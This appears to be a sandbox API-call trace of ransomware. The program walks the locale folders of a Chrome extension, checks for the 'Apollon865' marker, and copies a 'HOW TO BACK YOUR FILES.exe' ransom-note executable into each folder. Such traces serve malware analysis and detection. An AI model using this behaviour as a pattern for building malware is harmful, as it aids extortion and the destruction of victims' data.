	[0048.015] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34b05ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34b05ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.016] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.016] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.016] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.016] lstrlenW (lpString="messages.json") returned 13
	[0048.016] lstrlenW (lpString="Apollon865") returned 10
	[0048.016] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.016] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en"
	[0048.016] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a9720 | out: hHeap=0x580000) returned 1
	[0048.016] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd28 | out: hHeap=0x580000) returned 1
	[0048.016] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en") returned 137
	[0048.016] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en"
	[0048.016] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.016] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.020] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.020] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34b05ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34b05ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.020] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.020] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.020] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.020] lstrlenW (lpString="messages.json") returned 13
	[0048.020] lstrlenW (lpString="Apollon865") returned 10
	[0048.020] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.021] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el"
	[0048.021] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a9600 | out: hHeap=0x580000) returned 1
	[0048.021] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe28 | out: hHeap=0x580000) returned 1
	[0048.021] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el") returned 137
	[0048.021] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el"
	[0048.021] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.021] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.025] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.025] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34b2bc30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34b2bc30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.025] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.025] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.025] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.025] lstrlenW (lpString="messages.json") returned 13
	[0048.025] lstrlenW (lpString="Apollon865") returned 10
	[0048.025] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.025] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de"
	[0048.025] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a94e0 | out: hHeap=0x580000) returned 1
	[0048.025] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe08 | out: hHeap=0x580000) returned 1
	[0048.025] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de") returned 137
	[0048.025] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de"
	[0048.025] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.025] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.029] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.029] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34b2bc30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34b2bc30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.030] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.030] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.030] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.030] lstrlenW (lpString="messages.json") returned 13
	[0048.030] lstrlenW (lpString="Apollon865") returned 10
	[0048.030] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.030] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da"
	[0048.030] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a93c0 | out: hHeap=0x580000) returned 1
	[0048.030] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fde8 | out: hHeap=0x580000) returned 1
	[0048.030] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da") returned 137
	[0048.030] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da"
	[0048.030] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.030] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.034] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.034] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34b2bc30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34b2bc30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.034] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.034] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.034] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.034] lstrlenW (lpString="messages.json") returned 13
	[0048.034] lstrlenW (lpString="Apollon865") returned 10
	[0048.034] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.034] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs"
	[0048.035] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a460 | out: hHeap=0x580000) returned 1
	[0048.035] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0048.035] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs") returned 137
	[0048.035] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs"
	[0048.035] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.035] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.039] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.039] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34b51d90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34b51d90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.039] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.039] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.039] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.039] lstrlenW (lpString="messages.json") returned 13
	[0048.039] lstrlenW (lpString="Apollon865") returned 10
	[0048.039] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.039] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca"
	[0048.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a340 | out: hHeap=0x580000) returned 1
	[0048.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0048.039] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca") returned 137
	[0048.039] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca"
	[0048.039] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.039] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.046] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.046] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34b51d90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34b51d90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.046] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.046] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.046] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.046] lstrlenW (lpString="messages.json") returned 13
	[0048.046] lstrlenW (lpString="Apollon865") returned 10
	[0048.046] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.046] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg"
	[0048.046] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afb80 | out: hHeap=0x580000) returned 1
	[0048.046] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0048.046] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg") returned 137
	[0048.046] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg"
	[0048.047] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.047] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.051] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
